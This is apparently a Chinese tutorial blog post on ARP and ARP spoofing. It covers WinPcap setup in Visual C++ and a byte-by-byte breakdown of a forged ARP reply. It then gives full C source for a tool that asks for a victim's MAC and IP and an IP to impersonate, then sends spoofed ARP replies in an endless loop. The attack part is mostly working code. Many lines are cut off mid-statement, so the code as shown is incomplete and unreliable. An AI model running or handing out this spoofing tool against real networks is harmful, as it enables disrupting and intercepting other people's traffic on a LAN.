ARP原理分析
ARP原理:
ARP,即地址解析协议,实现通过IP地址得知其物理地址。在TCP/IP网络环境下,每个主机都分配了一
ARP数据报格式如下:
什么是ARP欺骗:
其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪
本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。
首先从http://www.winpcap.org/archive/下载4.0beta1-WpdPa
直接点击4.0beta1-WinPcap.exe安装,然后在C:\Program Files\Win
然后在VC中,Tools→Options→Directories下配置include和library
然后在Project→Settings→Link→Object/library Modules,在文
编译运行后按提示输入,内容如下:
1. \Device\NPF_GenericDialupAdapter (Adapter for g
2. \Device\NPF_{2A933761-706B-40E1-833D-7209ED0C04
3. \Device\NPF_{547462F5-42E8-4FFB-85F9-54DA60C68B
2是二次拨号的端口,3是本地连接,1不知道是什么,没看懂。这里选择3
输入的接收方MAC地址 00:1C:23:2D:65:44 是我自己的MAC地址,学校寝室的安全貌似
目标IP地址 10.9.190.22 也是我自己的IP
此时生成的包如下:
0 1c 23 2d 65 44 0 1b fc c2 1b b6 8 6 0 1 8 0 6 4
解释如下:
以太网首部:
0 1c 23 2d 65 44 //以太网目的地址,手动输入
0 1b fc c2 1b b6 //以太网源地址,假的,固定
ARP帧:
8 6 //帧类型,0806表示ARP协议
0 1 //硬件类型,0001以太网
8 0 //协议类型,0800IP协议
6 //硬件地址长度
4 //协议地址长度
0 2 //op,01表示请求,02表示回复
0 1b fc c2 1b b6 //发送端以太网地址,同首部中以太网源地址
a 9 be 16 //发送端IP地址,假的,固定
0 1c 23 2d 65 44 //目的以太网地址,同首部中目的地址
a 9 be 16 //目的IP地址,手动输入
填充:
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
此时电脑右下角就会出现如下图的提示,IP地址冲突。
附main.cpp代码如下:
#include
#include
int main()
{
pcap_if_t *alldevs;//定义一个网络接口的一个节点
pcap_if_t *d;
int i=0,inum=0,j;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];
pcap_t *adhandle;
/* 获得设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",
exit(1);
}
/* 打印列表 */
for(d= alldevs; d != NULL; d= d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap i
return 0;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
/* 跳转到选中的适配器 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开适配器 */
if ( (adhandle= pcap_open_live(d->name, // 设备名
65536, // 要捕捉的数据包的部分
// 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
1, // 混杂模式
1000, // 读取超时时间
errbuf // 错误缓冲池
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s i
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
printf("输入被攻击方的MAC地址(如FF-FF-FF-FF-FF-FF则为广播)\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet
/* 以太网目的地址*/
/* 以太网源地址,当然是假的 */
packet[6]=0x0e;
packet[7]=0x07;
packet[8]=0X62;
packet[9]=0x00;
packet[10]=0X01;
packet[11]=0x12;
/* 帧类型,0806表示ARP协议 */
packet[12]=0x08;
packet[13]=0x06;
/* 硬件类型,0001以太网 */
packet[14]=0x00;
packet[15]=0x01;
/* 协议类型,0800IP协议 */
packet[16]=0x08;
packet[17]=0x00;
/*硬件地址长度*/
packet[18]=0x06;
/*协议地址长度*/
packet[19]=0x04;
/* op,01表示请求,02表示回复 */
packet[20]=0x00;
packet[21]=0x02;
/*发送端以太网地址,同首部中以太网源地址*/
for(i=22;i<28;i++)
{
packet[i]=packet[i-16];
}
/*发送端IP地址*/
printf("输入要假冒的ip地址\n");
scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packe
/*目的以太网地址,同首部中目的地址*/
for(i=32;i<38;i++)
{
packet[i]=packet[i-32];
}
/*目的IP地址,手动输入*/
printf("输入被攻击方的ip地址\n");
scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packe
/*填充数据*/
for(j=42;j<60;j++)
{
packet[j]=0x00;
}
/*在屏幕上输出数据报*/
for(i=0;i<60;i++)
{
printf("%x ",packet[i]);
}
//int k=10;
/*发送数据报*/
while(1)
{
pcap_sendpacket(adhandle, packet,60 );//一个装有要发送数据的
printf("OK\n");
_sleep(1000);
//k--;
}
pcap_close(adhandle);
return 0;
}